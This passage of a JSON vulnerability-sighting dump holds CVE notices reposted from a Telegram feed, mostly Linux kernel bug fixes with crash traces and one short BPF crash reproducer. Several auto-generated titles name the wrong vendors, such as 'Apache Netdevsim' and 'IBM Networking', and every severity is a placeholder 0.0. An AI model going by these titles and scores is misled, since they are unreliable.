timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:43.000000Z"}, {"uuid": "c32cbc62-1c79-45c8-8217-363bb1ec8d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50199", "type": "seen", "source": "https://t.me/cvedetector/10169", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50199 - Linux Kernel HugeTLB Page Table Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50199 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmm/swapfile: skip HugeTLB pages for unuse_vma  \n  \nI got a bad pud error and lost a 1GB HugeTLB when calling swapoff.  The  \nproblem can be reproduced by the following steps:  \n  \n 1. Allocate an anonymous 1GB HugeTLB and some other anonymous memory.  \n 2. Swapout the above anonymous memory.  \n 3. run swapoff and we will get a bad pud error in kernel message:  \n  \n  mm/pgtable-generic.c:42: bad pud 00000000743d215d(84000001400000e7)  \n  \nWe can tell that pud_clear_bad is called by pud_none_or_clear_bad in  \nunuse_pud_range() by ftrace.  And therefore the HugeTLB pages will never  \nbe freed because we lost it from page table.  We can skip HugeTLB pages  \nfor unuse_vma to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:42.000000Z"}, {"uuid": "0444923a-8a0a-4dd8-a6e9-49cb65eeab8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50198", "type": "seen", "source": "https://t.me/cvedetector/10168", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50198 - Linux Kernel IIO Device Pointer Corruption Vulnerability in Veml6030 Driver\", \n  \"Content\": \"CVE ID : CVE-2024-50198 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \niio: light: veml6030: fix IIO device retrieval from embedded device  \n  \nThe dev pointer that is received as an argument in the  \nin_illuminance_period_available_show function references the device  \nembedded in the IIO device, not in the i2c client.  \n  \ndev_to_iio_dev() must be used to accessthe right data. The current  \nimplementation leads to a segmentation fault on every attempt to read  \nthe attribute because indio_dev gets a NULL assignment.  \n  \nThis bug has been present since the first appearance of the driver,  \napparently since the last version (V6) before getting applied. A  \nconstant attribute was used until then, and the last modifications might  \nhave not been tested again. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:42.000000Z"}, {"uuid": "73c5ecd5-2498-4f95-ba42-729eeba12dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50210", "type": "seen", "source": "https://t.me/cvedetector/10166", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50210 - Linux Kernel posix-clock Unbalanced Locking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50210 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nposix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime()  \n  \nIf get_clock_desc() succeeds, it calls fget() for the clockid's fd,  \nand get the clk->rwsem read lock, so the error path should release  \nthe lock to make the lock balance and fput the clockid's fd to make  \nthe refcount balance and release the fd related resource.  \n  \nHowever the below commit left the error path locked behind resulting in  \nunbalanced locking. Check timespec64_valid_strict() before  \nget_clock_desc() to fix it, because the \"ts\" is not changed  \nafter that.  \n  \n[pabeni@redhat.com: fixed commit message typo] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:37.000000Z"}, {"uuid": "59cd7ffc-26bc-4c8d-8da5-c4b4d1039e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50766", "type": "seen", "source": "https://t.me/cvedetector/10138", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50766 - SourceCodester Survey Application System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50766 \nPublished : Nov. 7, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : SourceCodester Survey Application System 1.0 is vulnerable to SQL Injection in takeSurvey.php via the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T23:37:54.000000Z"}, {"uuid": "1c996a9c-1178-4f4e-b18d-969d317151ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50149", "type": "seen", "source": "https://t.me/cvedetector/10082", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50149 - AMD Xen-Invalidate-after-Free (Use-After-Free)\", \n  \"Content\": \"CVE ID : CVE-2024-50149 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/xe: Don't free job in TDR  \n  \nFreeing job in TDR is not safe as TDR can pass the run_job thread  \nresulting in UAF. It is only safe for free job to naturally be called by  \nthe scheduler. Rather free job in TDR, add to pending list.  \n  \n(cherry picked from commit ea2f6a77d0c40d97f4a4dc93fee4afe15d94926d) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:55:17.000000Z"}, {"uuid": "d417caa3-ec42-46ea-8791-8e1560a297d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50161", "type": "seen", "source": "https://t.me/cvedetector/10081", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50161 - Linux Kernel bpf Out-of-Bounds Read\", \n  \"Content\": \"CVE ID : CVE-2024-50161 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Check the remaining info_cnt before repeating btf fields  \n  \nWhen trying to repeat the btf fields for array of nested struct, it  \ndoesn't check the remaining info_cnt. The following splat will be  \nreported when the value of ret * nelems is greater than BTF_FIELDS_MAX:  \n  \n  ------------[ cut here ]------------  \n  UBSAN: array-index-out-of-bounds in ../kernel/bpf/btf.c:3951:49  \n  index 11 is out of range for type 'btf_field_info [11]'  \n  CPU: 6 UID: 0 PID: 411 Comm: test_progs ...... 6.11.0-rc4+ #1  \n  Tainted: [O]=OOT_MODULE  \n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ...  \n  Call Trace:  \n     \n   dump_stack_lvl+0x57/0x70  \n   dump_stack+0x10/0x20  \n   ubsan_epilogue+0x9/0x40  \n   __ubsan_handle_out_of_bounds+0x6f/0x80  \n   ? kallsyms_lookup_name+0x48/0xb0  \n   btf_parse_fields+0x992/0xce0  \n   map_create+0x591/0x770  \n   __sys_bpf+0x229/0x2410  \n   __x64_sys_bpf+0x1f/0x30  \n   x64_sys_call+0x199/0x9f0  \n   do_syscall_64+0x3b/0xc0  \n   entry_SYSCALL_64_after_hwframe+0x4b/0x53  \n  RIP: 0033:0x7fea56f2cc5d  \n  ......  \n     \n  ---[ end trace ]---  \n  \nFix it by checking the remaining info_cnt in btf_repeat_fields() before  \nrepeating the btf fields. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:40.000000Z"}, {"uuid": "2dbe7c33-dbf7-4942-8bdb-e541ad4b9f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50164", "type": "seen", "source": "https://t.me/cvedetector/10080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50164 - Linux Kernel BPF Raw Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50164 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Fix overloading of MEM_UNINIT's meaning  \n  \nLonial reported an issue in the BPF verifier where check_mem_size_reg()  \nhas the following code:  \n  \n    if (!tnum_is_const(reg->var_off))  \n        /* For unprivileged variable accesses, disable raw  \n         * mode so that the program is required to  \n         * initialize all the memory that the helper could  \n         * just partially fill up.  \n         */  \n         meta = NULL;  \n  \nThis means that writes are not checked when the register containing the  \nsize of the passed buffer has not a fixed size. Through this bug, a BPF  \nprogram can write to a map which is marked as read-only, for example,  \n.rodata global maps.  \n  \nThe problem is that MEM_UNINIT's initial meaning that \"the passed buffer  \nto the BPF helper does not need to be initialized\" which was added back  \nin commit 435faee1aae9 (\"bpf, verifier: add ARG_PTR_TO_RAW_STACK type\")  \ngot overloaded over time with \"the passed buffer is being written to\".  \n  \nThe problem however is that checks such as the above which were added later  \nvia 06c1c049721a (\"bpf: allow helpers access to variable memory\") set meta  \nto NULL in order force the user to always initialize the passed buffer to  \nthe helper. Due to the current double meaning of MEM_UNINIT, this bypasses  \nverifier write checks to the memory (not boundary checks though) and only  \nassumes the latter memory is read instead.  \n  \nFix this by reverting MEM_UNINIT back to its original meaning, and having  \nMEM_WRITE as an annotation to BPF helpers in order to then trigger the  \nBPF verifier checks for writing to memory.  \n  \nSome notes: check_arg_pair_ok() ensures that for ARG_CONST_SIZE{,_OR_ZERO}  \nwe can access fn->arg_type[arg - 1] since it must contain a preceding  \nARG_PTR_TO_MEM. For check_mem_reg() the meta argument can be removed  \naltogether since we do check both BPF_READ and BPF_WRITE. Same for the  \nequivalent check_kfunc_mem_size_reg(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:39.000000Z"}, {"uuid": "8de2bb06-661e-4959-ab0c-28f038880df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50167", "type": "seen", "source": "https://t.me/cvedetector/10076", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50167 - Alteon Be2Net Linux Kernel Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50167 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbe2net: fix potential memory leak in be_xmit()  \n  \nThe be_xmit() returns NETDEV_TX_OK without freeing skb  \nin case of be_xmit_enqueue() fails, add dev_kfree_skb_any() to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:33.000000Z"}, {"uuid": "8800bc34-8161-4a91-a7ff-8b8d94102b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50166", "type": "seen", "source": "https://t.me/cvedetector/10075", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50166 - Freescale Semiconductor FMAN Reference Leak Vulnerability (Denial of Service)\", \n  \"Content\": \"CVE ID : CVE-2024-50166 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfsl/fman: Fix refcount handling of fman-related devices  \n  \nIn mac_probe() there are multiple calls to of_find_device_by_node(),  \nfman_bind() and fman_port_bind() which takes references to of_dev->dev.  \nNot all references taken by these calls are released later on error path  \nin mac_probe() and in mac_remove() which lead to reference leaks.  \n  \nAdd references release. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:33.000000Z"}, {"uuid": "fd553e88-60be-47dc-8184-aa1e8e0071a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50156", "type": "seen", "source": "https://t.me/cvedetector/10079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50156 - Android MSM DRM Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50156 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/msm: Avoid NULL dereference in msm_disp_state_print_regs()  \n  \nIf the allocation in msm_disp_state_dump_regs() failed then  \n`block->state` can be NULL. The msm_disp_state_print_regs() function  \n_does_ have code to try to handle it with:  \n  \n  if (*reg)  \n    dump_addr = *reg;  \n  \n...but since \"dump_addr\" is initialized to NULL the above is actually  \na noop. The code then goes on to dereference `dump_addr`.  \n  \nMake the function print \"Registers not stored\" when it sees a NULL to  \nsolve this. Since we're touching the code, fix  \nmsm_disp_state_print_regs() not to pointlessly take a double-pointer  \nand properly mark the pointer as `const`.  \n  \nPatchwork:  \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:38.000000Z"}, {"uuid": "f69a64ce-8a6c-4ef3-a4fe-3ebe4104d5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50157", "type": "seen", "source": "https://t.me/cvedetector/10078", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50157 - \"IBM Networking: CPU Lockup Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50157 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/bnxt_re: Avoid CPU lockups due fifo occupancy check loop  \n  \nDriver waits indefinitely for the fifo occupancy to go below a threshold  \nas soon as the pacing interrupt is received. This can cause soft lockup on  \none of the processors, if the rate of DB is very high.  \n  \nAdd a loop count for FPGA and exit the __wait_for_fifo_occupancy_below_th  \nif the loop is taking more time. Pacing will be continuing until the  \noccupancy is below the threshold. This is ensured by the checks in  \nbnxt_re_pacing_timer_exp and further scheduling the work for pacing based  \non the fifo occupancy. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:38.000000Z"}, {"uuid": "2f3fcf53-200a-49ef-af5b-dff3c8d995d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50168", "type": "seen", "source": "https://t.me/cvedetector/10077", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50168 - Qualcomm Atheros Ethernet miniport Memory Leak\", \n  \"Content\": \"CVE ID : CVE-2024-50168 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/sun3_82586: fix potential memory leak in sun3_82586_send_packet()  \n  \nThe sun3_82586_send_packet() returns NETDEV_TX_OK without freeing skb  \nin case of skb->len being too long, add dev_kfree_skb() to fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:37.000000Z"}, {"uuid": "8b0a6fd5-ffb0-4868-a4a0-dd6fe3fea796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50165", "type": "seen", "source": "https://t.me/cvedetector/10074", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50165 - Linux Kernel BPF Mount Option Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50165 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Preserve param->string when parsing mount options  \n  \nIn bpf_parse_param(), keep the value of param->string intact so it can  \nbe freed later. Otherwise, the kmalloc area pointed to by param->string  \nwill be leaked as shown below:  \n  \nunreferenced object 0xffff888118c46d20 (size 8):  \n  comm \"new_name\", pid 12109, jiffies 4295580214  \n  hex dump (first 8 bytes):  \n    61 6e 79 00 38 c9 5c 7e                          any.8.\\~  \n  backtrace (crc e1b7f876):  \n    [<00000000c6848ac7] kmemleak_alloc+0x4b/0x80  \n    [<00000000de9f7d00] __kmalloc_node_track_caller_noprof+0x36e/0x4a0  \n    [<000000003e29b886] memdup_user+0x32/0xa0  \n    [<0000000007248326] strndup_user+0x46/0x60  \n    [<0000000035b3dd29] __x64_sys_fsconfig+0x368/0x3d0  \n    [<0000000018657927] x64_sys_call+0xff/0x9f0  \n    [<00000000c0cabc95] do_syscall_64+0x3b/0xc0  \n    [<000000002f331597] entry_SYSCALL_64_after_hwframe+0x4b/0x53 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:32.000000Z"}, {"uuid": "e3497c7e-d15a-44c4-bb32-3bd5a9720de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50155", "type": "seen", "source": "https://t.me/cvedetector/10073", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50155 - Apache Netdevsim Kernel Use After Free\", \n  \"Content\": \"CVE ID : CVE-2024-50155 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetdevsim: use cond_resched() in nsim_dev_trap_report_work()  \n  \nI am still seeing many syzbot reports hinting that syzbot  \nmight fool nsim_dev_trap_report_work() with hundreds of ports [1]  \n  \nLets use cond_resched(), and system_unbound_wq  \ninstead of implicit system_wq.  \n  \n[1]  \nINFO: task syz-executor:20633 blocked for more than 143 seconds.  \n      Not tainted 6.12.0-rc2-syzkaller-00205-g1d227fcc7222 #0  \n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.  \ntask:syz-executor    state:D stack:25856 pid:20633 tgid:20633 ppid:1      flags:0x00004006  \n...  \nNMI backtrace for cpu 1  \nCPU: 1 UID: 0 PID: 16760 Comm: kworker/1:0 Not tainted 6.12.0-rc2-syzkaller-00205-g1d227fcc7222 #0  \nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024  \nWorkqueue: events nsim_dev_trap_report_work  \n RIP: 0010:__sanitizer_cov_trace_pc+0x0/0x70 kernel/kcov.c:210  \nCode: 89 fb e8 23 00 00 00 48 8b 3d 04 fb 9c 0c 48 89 de 5b e9 c3 c7 5d 00 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  0f 1e fa 48 8b 04 24 65 48 8b 0c 25 c0 d7 03 00 65 8b 15 60 f0  \nRSP: 0018:ffffc90000a187e8 EFLAGS: 00000246  \nRAX: 0000000000000100 RBX: ffffc90000a188e0 RCX: ffff888027d3bc00  \nRDX: ffff888027d3bc00 RSI: 0000000000000000 RDI: 0000000000000000  \nRBP: ffff88804a2e6000 R08: ffffffff8a4bc495 R09: ffffffff89da3577  \nR10: 0000000000000004 R11: ffffffff8a4bc2b0 R12: dffffc0000000000  \nR13: ffff88806573b503 R14: dffffc0000000000 R15: ffff8880663cca00  \nFS:  0000000000000000(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000  \nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \nCR2: 00007fc90a747f98 CR3: 000000000e734000 CR4: 00000000003526f0  \nDR0: 0000000000000000 DR1: 000000000000002b DR2: 0000000000000000  \nDR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  \nCall Trace:  \n   \n   \n   \n  __local_bh_enable_ip+0x1bb/0x200 kernel/softirq.c:382  \n  spin_unlock_bh include/linux/spinlock.h:396 [inline]  \n  nsim_dev_trap_report drivers/net/netdevsim/dev.c:820 [inline]  \n  nsim_dev_trap_report_work+0x75d/0xaa0 drivers/net/netdevsim/dev.c:850  \n  process_one_work kernel/workqueue.c:3229 [inline]  \n  process_scheduled_works+0xa63/0x1850 kernel/workqueue.c:3310  \n  worker_thread+0x870/0xd30 kernel/workqueue.c:3391  \n  kthread+0x2f0/0x390 kernel/kthread.c:389  \n  ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147  \n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:31.000000Z"}, {"uuid": "6f3ea5c3-aef9-474e-88be-c296091f4491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50163", "type": "seen", "source": "https://t.me/cvedetector/10072", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50163 - Linux Kernel - BPF Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50163 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Make sure internal and UAPI bpf_redirect flags don't overlap  \n  \nThe bpf_redirect_info is shared between the SKB and XDP redirect paths,  \nand the two paths use the same numeric flag values in the ri->flags  \nfield (specifically, BPF_F_BROADCAST == BPF_F_NEXTHOP). This means that  \nif skb bpf_redirect_neigh() is used with a non-NULL params argument and,  \nsubsequently, an XDP redirect is performed using the same  \nbpf_redirect_info struct, the XDP path will get confused and end up  \ncrashing, which syzbot managed to trigger.  \n  \nWith the stack-allocated bpf_redirect_info, the structure is no longer  \nshared between the SKB and XDP paths, so the crash doesn't happen  \nanymore. However, different code paths using identically-numbered flag  \nvalues in the same struct field still seems like a bit of a mess, so  \nthis patch cleans that up by moving the flag definitions together and  \nredefining the three flags in BPF_F_REDIRECT_INTERNAL to not overlap  \nwith the flags used for XDP. It also adds a BUILD_BUG_ON() check to make  \nsure the overlap is not re-introduced by mistake. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:30.000000Z"}, {"uuid": "bd9d8a07-5e61-44bb-adad-6a6e747cdae0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50162", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/10070", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50162 - Linux Kernel Vuln - BPF Devmap Rxq Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-50162 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: devmap: provide rxq after redirect  \n  \nrxq contains a pointer to the device from where  \nthe redirect happened. Currently, the BPF program  \nthat was executed after a redirect via BPF_MAP_TYPE_DEVMAP*  \ndoes not have it set.  \n  \nThis is particularly bad since accessing ingress_ifindex, e.g.  \n  \nSEC(\"xdp\")  \nint prog(struct xdp_md *pkt)  \n{  \n        return bpf_redirect_map(&dev_redirect_map, 0, 0);  \n}  \n  \nSEC(\"xdp/devmap\")  \nint prog_after_redirect(struct xdp_md *pkt)  \n{  \n        bpf_printk(\"ifindex %i\", pkt->ingress_ifindex);  \n        return XDP_PASS;  \n}  \n  \ndepends on access to rxq, so a NULL pointer gets dereferenced: <1[  574.475170] BUG: kernel NULL pointer dereference, address: 0000000000000000 <1[  574.475188] #PF: supervisor read access in kernel mode <1[  574.475194] #PF: error_code(0x0000) - not-present page <6[  574.475199] PGD 0 P4D 0 <4[  574.475207] Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI <4[  574.475217] CPU: 4 UID: 0 PID: 217 Comm: kworker/4:1 Not tainted 6.11.0-rc5-reduced-00859-g780801200300 #23 <4[  574.475226] Hardware name: Intel(R) Client Systems NUC13ANHi7/NUC13ANBi7, BIOS ANRPL357.0026.2023.0314.1458 03/14/2023 <4[  574.475231] Workqueue: mld mld_ifc_work <4[  574.475247] RIP: 0010:bpf_prog_5e13354d9cf5018a_prog_after_redirect+0x17/0x3c <4[  574.475257] Code: cc cc cc cc cc cc cc 80 00 00 00 cc cc cc cc cc cc cc cc f3 0f 1e fa 0f 1f 44 00 00 66 90 55 48 89 e5 f3 0f 1e fa 48 8b 57 20 <488b 52 00 8b 92 e0 00 00 00 48 bf f8 a6 d5 c4 5d a0 ff ff be 0b <4[  574.475263] RSP: 0018:ffffa62440280c98 EFLAGS: 00010206 <4[  574.475269] RAX: ffffa62440280cd8 RBX: 0000000000000001 RCX: 0000000000000000 <4[  574.475274] RDX: 0000000000000000 RSI: ffffa62440549048 RDI: ffffa62440280ce0 <4[  574.475278] RBP: ffffa62440280c98 R08: 0000000000000002 R09: 0000000000000001 <4[  574.475281] R10: ffffa05dc8b98000 R11: ffffa05f577fca40 R12: ffffa05dcab24000 <4[  574.475285] R13: ffffa62440280ce0 R14: ffffa62440549048 R15: ffffa62440549000 <4[  574.475289] FS:  0000000000000000(0000) GS:ffffa05f4f700000(0000) knlGS:0000000000000000 <4[  574.475294] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 <4[  574.475298] CR2: 0000000000000000 CR3: 000000025522e000 CR4: 0000000000f50ef0 <4[  574.475303] PKRU: 55555554 <4[  574.475306] Call Trace: <4[  574.475313] <4[  574.475318]  ? __die+0x23/0x70 <4[  574.475329]  ? page_fault_oops+0x180/0x4c0 <4[  574.475339]  ? skb_pp_cow_data+0x34c/0x490 <4[  574.475346]  ? kmem_cache_free+0x257/0x280 <4[  574.475357]  ? exc_page_fault+0x67/0x150 <4[  574.475368]  ? asm_exc_page_fault+0x26/0x30 <4[  574.475381]  ? bpf_prog_5e13354d9cf5018a_prog_after_redirect+0x17/0x3c <4[  574.475386]  bq_xmit_all+0x158/0x420 <4[  574.475397]  __dev_flush+0x30/0x90 <4[  574.475407]  veth_poll+0x216/0x250 [veth] <4[  574.475421]  __napi_poll+0x28/0x1c0 